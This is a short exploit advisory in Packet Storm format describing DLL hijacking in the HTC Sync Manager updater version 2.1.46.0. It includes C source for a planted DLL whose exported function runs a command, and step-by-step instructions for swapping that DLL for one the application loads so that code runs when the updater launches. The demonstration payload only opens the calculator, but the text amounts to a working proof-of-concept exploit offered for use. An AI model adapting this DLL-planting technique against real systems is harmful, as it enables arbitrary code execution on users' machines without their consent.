HTCSyncManagerUpdate DLL Hijacking

2013-08-11T00:00:00
ID PACKETSTORM:122773
Type packetstorm
Reporter Iranian_Dark_Coders_Team
Modified 2013-08-11T00:00:00

Description

                                        
                                            `Exploit Title: HTCSyncManagerUpdate (quserex.dll & mfc71enu.dll & mfc71loc.dll ) Path Subversion Arbitrary DLL Injection Code Execution   
Author: Iranian_Dark_Coders_Team  
Discovered by A.CH12  
Software Link: http://www.htc.com/  
Version: 2.1.46.0  
Tested on: Windows 7  
  
// :::'###::::::::::::::::'######::'##::::'##::::'##::::'#######::  
// ::'## ##::::::::::::::'##... ##: ##:::: ##::'####:::'##.... ##:  
// :'##:. ##::::::::::::: ##:::..:: ##:::: ##::.. ##:::..::::: ##:  
// '##:::. ##:::::::::::: ##::::::: #########:::: ##::::'#######::  
// #########:::::::::::: ##::::::: ##.... ##:::: ##:::'##::::::::  
// ##.... ##::::'###:::: ##::: ##: ##:::: ##:::: ##::: ##::::::::  
// ##:::: ##:::: ###::::. ######:: ##:::: ##::'######: #########:  
// ..:::::..:::::...::::::......:::..:::::..:::......::.........::  
  
=============================================================  
#include <windows.h>  
#define DllExport __declspec (dllexport)  
DllExport void DwmSetWindowAttribute() { egg(); }  
  
int egg()  
{  
system ("calc");  
exit(0);  
return 0;  
}  
=============================================================  
  
Instructions:  
  
1. Compile dll  
2. Replace quserex.dll or mfc71enu.dll or mfc71loc.dll in HTC Sync Manager directory with your newly compiled dll  
3. Launch HTCSyncManagerUpdate  
4. Bo0o0o0o0o0o0o0m !  
  
  
Greet to my Lovely friends :   
nimaarek , D.S (ASA);  
`